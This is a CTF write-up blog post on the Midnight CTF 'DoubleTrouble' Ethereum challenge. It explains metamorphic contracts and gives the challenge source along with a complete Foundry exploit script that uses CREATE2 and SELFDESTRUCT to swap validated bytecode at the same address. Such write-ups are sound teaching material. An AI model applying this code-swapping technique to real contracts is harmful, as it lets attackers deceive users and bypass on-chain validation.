708 words
4 minutes
Illusion of Immutability

Introduction#

The final web3 challenge of the Midnight CTF revolves around a metamorphic contract. Fortunately, I had previously created a similar challenge for the Breizh CTF two years ago.

Here’s a quick refresher on what a metamorphic contract is:#

Despite the common belief that smart contracts on Ethereum are immutable once deployed, contracts can effectively change their logic using advanced EVM patterns involving CREATE, CREATE2, and SELFDESTRUCT.

Core Mechanism#

EVM Contract Creation Ops:#

In the Ethereum Virtual Machine (EVM), contracts are deployed using one of two opcodes:

  • CREATE
  • CREATE2

Both create a new contract on-chain, but the address where the contract is deployed differs between them.


CREATE – Classic Deployment#

  • Usage:
address = keccak256(rlp([sender, nonce]))[12:]
  • Key Variables:
    • sender: the address creating the contract
    • nonce: the transaction count of the sender

Important traits:

  • The address depends on the sender’s current nonce.
  • Nonce increments with each contract creation, making the resulting address different for each txs.
  • Cannot redeploy to the same address, unless the nonce is reset (e.g., via SELFDESTRUCT).
Why it’s relevant to metamorphic contracts:#

By using SELFDESTRUCT, a contract can erase itself and reset its nonce (if no further txs), allowing CREATE to generate the same contract address again with different code.


CREATE2 – Deterministic Deployment#

  • Usage:
    address = keccak256(0xFF ++ sender ++ salt ++ keccak256(bytecode))[12:]
    
  • Key Variables:
    • sender: deploying contract address
    • salt: 32-byte user-defined value
    • bytecode: init code of the contract being deployed

Important traits:

  • Fully deterministic — given the same inputs, the contract will always deploy to the same address.
  • Can be redeployed to the same address, if the original contract was removed (e.g., via SELFDESTRUCT).

Why it’s relevant to metamorphic contracts:#

  • CREATE2 is used to deploy a wrapper at a fixed address.
  • That wrapper then uses CREATE to deploy the mutable logic.
  • After destructing both the logic and the deployer, the same deployer can be re-deployed with CREATE2, enabling a new logic contract at the same fixed address.

Combined Flow — Step-by-Step:#

StepActionPurpose
1Use CREATE2 to deploy a MutDeployer contract at a fixed addressEnables predictable future redeployments
2MutDeployer uses CREATE to deploy MutableV1First version of the logic contract
3Users interact with MutableV1 at a known addressAppears immutable
4Owner calls SELFDESTRUCT on MutableV1Clears the address
5Owner calls SELFDESTRUCT on MutDeployerResets its nonce, makes redeployment possible
6Use CREATE2 with same salt and bytecode to redeploy MutDeployerBack to same address
7MutDeployer uses CREATE to deploy MutableV2New logic at same address as MutableV1
Result: Different contract logic at the same addressMutation complete, user unaware unless deeply inspecting

Official WU#

You can find the official challenge write-up here:
👉 DoubleTrouble on NeoReo Blog

The challenge#

// Author : Neoreo
// Difficulty : Hard

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract DoubleTrouble {
    bool public isSolved = false;
    mapping(address => bool) public validContracts;

    function validate(address _contract) public  {
        uint256 size;
        assembly {
            size := extcodesize(_contract)
        }
        if (size == 0 || size > 5) {
            revert("Invalid contract");
        }
        validContracts[_contract] = true;
    }

    function flag(address _contract) public {
        require(validContracts[_contract], "Given contract has not been validated");

        uint256 size;
        assembly {
            size := extcodesize(_contract)
        }
        bytes memory code = new bytes(size);
        assembly {
            extcodecopy(_contract, add(code, 0x20), 0, size)
        }
        bytes memory keyBytecode = hex"1f1a99ed17babe0000f007b4110000ba5eba110000c0ffee";
        
        require(keccak256(code) == keccak256(keyBytecode),"Both bytecodes don't match");

        isSolved = true;
    }
}

My foundry script solution#

Below is the script I used to solve the challenge. You can execute it using:

forge script script/Exploitoor.s.sol:ExploitScript --fork-url $RPC_URL --private-key $PRIVATE_KEY --broadcast

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "forge-std/console.sol";

import "../src/chall.sol";

contract ExploitScript is Script {

    DoubleTrouble dt;
    function setUp() public {}

    function run() public {
        vm.startBroadcast();

        dt = DoubleTrouble(0x39dD11C243Ac4Ac250980FA3AEa016f73C509f37);

        Atomic a = new Atomic(address(dt));

        a.step1();

        //  Bypass the foundry local simulation error with slefdestruct not apply
        address(a).call(abi.encodeWithSignature("step2()"));

        // For some reason, when this tx is executed the `isSolved` var state is not yet updated to true
        // which is unexpected, because `step2()` set the var to true by solving the challenge =(
        (, bytes memory data) = address(dt).call(abi.encodeWithSignature("isSolved()"));
        bool s = abi.decode(data, (bool));
        console2.log(s);

        vm.stopBroadcast();
    }
}

contract Atomic {

    DoubleTrouble dt;

    constructor(address _dt) {
        dt = DoubleTrouble(_dt);
    }

    function step1() public  returns(address s1) {
        Deployer dp = new Deployer{salt : bytes32(hex"1234")}();

        s1 = dp.deploy1();

        dt.validate(s1);

        s1.call("");
        
        dp.destroy();
    }

    function step2() public returns (address s2) {
        Deployer dp = new Deployer{salt : bytes32(hex"1234")}();

        s2 = dp.deploy2();

        dt.flag(s2);
    }
}

contract Deployer{
    function deploy1() public returns(address){
        bytes memory x = hex"5fff";
        return address(new OurBytecode(x));
    }

    function deploy2() public returns (address){
        bytes memory x = hex"1f1a99ed17babe0000f007b4110000ba5eba110000c0ffee";
        return address(new OurBytecode(x));
    }

    function destroy() public {
        selfdestruct(payable(address(0x0)));
    }
}
contract OurBytecode{
    constructor(bytes memory code){assembly{return (add(code, 0x20), mload(code))}}
}
Illusion of Immutability
https://m4k2.github.io/bebop/posts/doubletrouble_midnight/
Author
m4k2
Published at
2025-04-14